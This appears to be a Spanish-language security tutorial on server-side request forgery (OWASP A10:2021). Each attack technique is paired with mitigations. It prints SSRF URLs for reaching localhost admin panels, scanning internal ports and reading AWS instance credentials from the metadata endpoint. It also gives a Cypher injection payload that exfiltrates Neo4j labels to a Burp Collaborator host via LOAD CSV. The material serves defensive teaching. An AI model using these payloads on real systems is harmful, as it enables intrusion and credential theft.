A10:2021 – Server-Side Request Forgery (SSRF)
.png)
Descripción
El ataque ‘Server-Side Request Forgery’ (SSRF) es un tipo de ataque en el que un atacante abusa de la funcionalidad de un servidor para realizar solicitudes HTTP a recursos internos o externos no autorizados. En esencia, se engaña al servidor para que realice acciones no deseadas en nombre del atacante.
Impacto
Este tipo de ataque puede tener graves consecuencias para la seguridad de una aplicación web y la infraestructura subyacente. Algunos de los impactos potenciales incluyen:
- Acceso no autorizado a recursos internos: El atacante puede acceder a sistemas y datos que normalmente están protegidos por firewalls o restricciones de red.
- Evasión de controles de seguridad: SSRF puede permitir a los atacantes eludir medidas de seguridad como firewalls y listas de control de acceso.
- Exfiltración de datos sensibles: Los atacantes pueden utilizar SSRF para extraer información confidencial de sistemas internos.
- Escaneo de puertos internos: SSRF puede ser utilizado para mapear la red interna y descubrir servicios vulnerables.
- Ejecución de código remoto: En casos extremos, SSRF puede llevar a la ejecución de código arbitrario en el servidor comprometido.
Dada la gravedad de estos impactos, es crucial que los desarrolladores implementen medidas de seguridad robustas para prevenir y mitigar los ataques SSRF en sus aplicaciones web.
Ejemplos Prácticos
1. Acceso a servicios internos
Esto puede permitir al atacante acceder a sistemas y datos normalmente protegidos por firewalls o restricciones de red, como bases de datos internas o paneles de administración.
http://vulnerable-app.com/fetch?url=http://localhost:8080/admin
En este ejemplo, si la aplicación no valida adecuadamente la URL proporcionada, podría realizar una solicitud al panel de administración interno en el puerto 8080.
Resumen
- Detectar alguna consulta que realice alguna petición a un recurso externo mediante HTTP.
- Modificar la petición para que el servidor web realice una petición a la interfaz loopback y así acceder a funciones o servicios no publicadas al exterior.
Ejemplo
Tras analizar el funcionamiento de la página web auditada, se puede observar que se realizan peticiones a recursos externos mediante HTTP.
Una vez identificado este posible vector de ataque, se procede a realizar una primera prueba de reconocimiento para conocer si se pueden realizar peticiones a la interfaz loopback.
Tras validar que se puede realizar un ataque de SSRF mediante este vector, se procura acceder a funciones limitadas desde el exterior como, en este ejemplo, eliminar un usuario de la aplicación.
Mitigaciones
Para prevenir los riesgos asociados con este tipo de ataques, se recomienda:
- Validar y sanitizar todas las entradas de usuario, especialmente las URLs.
- Implementar listas blancas de dominios y direcciones IP permitidas.
- Utilizar firewalls de aplicaciones web (WAF) para filtrar solicitudes maliciosas.
- Configurar correctamente los firewalls de red para limitar el acceso a recursos internos.
- Implementar el principio de mínimo privilegio en los servidores y servicios.
- Usar VPNs o redes privadas virtuales para aislar recursos críticos.
- Deshabilitar redirecciones HTTP cuando no sean necesarias.
- Implementar autenticación y autorización robustas para todos los endpoints internos.
- Utilizar DNS interno para resolver nombres de host, evitando el uso de direcciones IP directas.
- Monitorear y registrar todas las solicitudes de red para detectar patrones sospechosos.
2. Escaneo de puertos internos
Este proceso implica enviar solicitudes a diferentes puertos en las direcciones IP internas, analizando las respuestas para determinar qué puertos están abiertos y qué servicios están ejecutándose. Con esta información, el atacante podría identificar objetivos potenciales para futuros ataques, como servidores de bases de datos, paneles de administración o sistemas vulnerables que normalmente no serían accesibles desde el exterior.
http://vulnerable-app.com/fetch?url=http://127.0.0.1:22
En este ejemplo, si el puerto 22 (SSH) está abierto, la respuesta podría ser diferente a si estuviera cerrado, permitiendo al atacante mapear servicios de la red interna.
Resumen
- Detectar alguna consulta que realice alguna petición a un recurso externo mediante HTTP.
- Modificar la petición para que el servidor web realice una petición a direcciones IP y puertos internos que no se encuentran expuestos al exterior.
- Observar respuestas diferentes por el servidor para poder discernir cuando existe una dirección IP con algún puerto abierto de cuando no.
Ejemplo
Tras detectar un posible vector de ataque con esta técnica, se intenta identificar posibles rangos de red privados a los que se pueda tener acceso desde el servidor. Para ello se hará uso del módulo de intruder para iterar los valores numéricos de las direcciones IP.
Tal y como se puede observar en las capturas, ha sido posible acceder a servidores y recursos internos mediante la explotación de la vulnerabilidad de SSRF.
Mitigaciones
Para prevenir y mitigar los ataques SSRF destinados al escaneo de direcciones IP y puertos internos, se recomienda implementar las siguientes medidas:
- Implementar listas blancas de direcciones IP y rangos permitidos para las solicitudes internas.
- Utilizar firewalls de aplicaciones web (WAF) configurados para detectar y bloquear patrones de solicitudes sospechosas.
- Segmentar la red interna para limitar el alcance de posibles escaneos.
- Implementar el principio de mínimo privilegio en los servidores y servicios internos.
- Utilizar autenticación y autorización robustas para todos los endpoints internos.
- Monitorear y registrar todas las solicitudes de red para detectar patrones de escaneo.
- Implementar rate limiting para prevenir escaneos rápidos y automatizados.
- Utilizar Virtual Private Cloud (VPC) en entornos cloud para aislar recursos críticos.
- Configurar correctamente los grupos de seguridad y las listas de control de acceso (ACL) en la red.
- Educar a los desarrolladores sobre las mejores prácticas de seguridad y los riesgos asociados con SSRF.
3. Acceso a metadatos en entornos cloud
En entornos cloud, como Amazon Web Services (AWS), los atacantes pueden aprovechar las vulnerabilidades de Server-Side Request Forgery (SSRF) para intentar acceder a los metadatos de la instancia. Estos metadatos contienen información crucial sobre la configuración y el estado de la instancia en ejecución. Un ejemplo de cómo un atacante podría intentar explotar esta vulnerabilidad es mediante la siguiente URL:
http://vulnerable-app.com/fetch?url=http://169.254.169.254/latest/meta-data/
Si la aplicación vulnerable procesa esta solicitud sin las debidas precauciones, podría inadvertidamente revelar información altamente sensible. Esta información podría incluir:
- Credenciales temporales de AWS
- Roles de IAM asociados con la instancia
- Datos de configuración de red
- Scripts de inicialización personalizados
La exposición de estos metadatos podría tener graves consecuencias para la seguridad de la infraestructura en la nube, potencialmente permitiendo a los atacantes escalar sus privilegios, moverse lateralmente dentro de la red, o incluso comprometer completamente el entorno de AWS. Por lo tanto, es crucial implementar medidas de seguridad robustas para prevenir este tipo de acceso no autorizado a los metadatos de las instancias en la nube.
Resumen
- Detectar alguna consulta que realice alguna petición a un recurso externo mediante HTTP.
- Modificar la petición original para que el servidor web realice una petición a recursos de servidores en cloud que puedan estar limitados mediante WhiteList para que solo pueda acceder el servidor.
- Observar respuestas diferentes por el servidor para poder discernir cuando ha sido posible acceder a recursos almacenados en Cloud y cuando no.
Ejemplo
Escenario
Una aplicación web permite a los usuarios ingresar una URL para obtener información sobre un sitio web. La aplicación realiza una solicitud GET a la URL proporcionada y muestra el resultado. Sin embargo, la aplicación no valida adecuadamente la entrada del usuario.
Pasos de la explotación
- El atacante descubre que la aplicación está alojada en Amazon Web Services (AWS).
- El atacante ingresa la siguiente URL en el campo de entrada de la aplicación: http://169.254.169.254/latest/meta-data/
- La aplicación realiza una solicitud a esta dirección IP interna de AWS, que es el endpoint de metadatos de instancias EC2.
- Como resultado, la aplicación devuelve información sensible sobre la instancia EC2, como:
1. ID de instancia2. Región3. Nombre de host interno4. Dirección MAC
5.El atacante puede profundizar más utilizando rutas específicas, como: http://169.254.169.254/latest/meta-data/iam/security-credentials/ para obtener las credenciales de seguridad temporales del rol IAM asociado a la instancia.
Mitigación
Para prevenir este tipo de ataques SSRF:
- Implementar una lista blanca de URLs permitidas
- Utilizar un proxy inverso para las solicitudes salientes
- Configurar firewalls para bloquear el tráfico a direcciones IP internas
- Implementar el principio de mínimo privilegio en los roles IAM
- Utilizar IMDSv2 (Instance Metadata Service version 2) que requiere tokens de sesión
4. Exfiltración de información (Cypher injection)
En este apartado se explicará cómo es posible exfiltrar datos mediante técnicas de Server-Side Request Forgery, tras una inyectar código malicioso en las consultas realizadas a la base de datos de Neo4j.
Neo4j es una base de datos de grafos de código abierto. Se utiliza para almacenar y consultar datos altamente interconectados, representando la información como nodos, relaciones y propiedades en una estructura de grafo, lo que permite realizar consultas complejas y análisis de datos de manera eficiente.
Resumen
- Detectar alguna consulta mediante la cual sea posible inyectar código en las consultas realizadas a la base de datos.
- Realizar consultas a la base de datos para obtener información almacenada en la misma.
- Exfiltrar la información obtenida mediante la función de carga de CSV por HTTP, realizando así una técnica de SSRF.
Ejemplo
Tras analizar las diferentes peticiones realizadas en la aplicación web, y detectar alguna vulnerable a inyecciones, se procede a realizar consultas a la base de datos y exfiltrarlas. Un ejemplo de payload sería:
.*’ | o ] AS OriginalRequest CALL db.labels() YIELD data LOAD CSV FROM ‘http://<burp-collaborator-url>/’ + data AS r //
A continuación, se procederá a explicar cada parte del payload:
.*’ | o ] AS OriginalRequest
Esta primera parte del código cierra la consulta original de forma correcta y permite concatenar la consulta que quiere realizar el atacante.
CALL db.labels() YIELD data
La cláusula CALL se emplea para ejecutar una subconsulta. En este caso, invoca a db.labels(), un procedimiento incorporado que proporciona una lista de todas las etiquetas presentes en la base de datos. Por su parte, la cláusula YIELD guarda la lista resultante en la variable «data».
LOAD CSV FROM ‘http://<burp-collaborator-url>/’ + data AS r //
LOAD CSV es una sentencia que carga un archivo CSV desde una ubicación definida por el usuario mediante la palabra clave FROM. En este caso, LOAD CSV realiza una solicitud a un servidor web habilitado mediante la funcionalidad de Burp collaborator, añadiendo un elemento de la lista «data» en cada iteración.
Como resultado, se envían múltiples peticiones a al cliente de Burp collaborator, cada una con diferentes nombres de etiqueta anexados al final de la solicitud.
La parte final ‘AS r’ se incluye porque la consulta falla constantemente sin ella; simplemente carga el archivo CSV como «r».
Las dos barras diagonales finales ‘//’ se utilizan para comentar el resto de la consulta en la misma línea.
Mitigación
En este caso no existe una corrección para evitar la exfiltración de datos mediante la función de LOAD CSV. Las mitigaciones parten directamente de evitar la posibilidad de realizar los ataques de tipo Cypher injection. Para ello se recomienda:
- Usar parámetros: Prevenir la inyección de Cypher utilizando parámetros en lugar de concatenar directamente la entrada del usuario en las consultas.
- Parametrizar consultas: Compilar las consultas en planes ejecutables que no puedan ser modificados por los datos de los parámetros.
- Usar procedimientos APOC de forma segura: Al utilizar APOC, continuar pasando parámetros para evitar vulnerabilidades de concatenación de cadenas.
- Sanitizar entradas: Cuando la parametrización no es posible (por ejemplo, para etiquetas de nodos), sanitizar las entradas del usuario escapando caracteres especiales.
- Evitar devolver errores de base de datos: Usar mensajes de error genéricos para prevenir la divulgación de información a través de inyección basada en errores.
- Implementar escape adecuado: Utilizar secuencias de escape apropiadas para diferentes tipos de Cypher (literales de cadena, identificadores).
- Validar entradas: Comprobar las entradas del usuario contra criterios específicos, pero tener en cuenta las posibles técnicas de bypass.
- Tener cuidado con las inyecciones de segundo orden: Continuar sanitizando los datos almacenados cuando se utilicen en consultas posteriores.
- Aplicar el principio de mínimo privilegio: Utilizar control de acceso basado en roles para limitar el impacto potencial de inyecciones exitosas.
- Manejar cuidadosamente las importaciones de datos: Ser consciente de las vulnerabilidades potenciales al importar datos de fuentes externas como archivos CSV.
Powered by WPeMatico
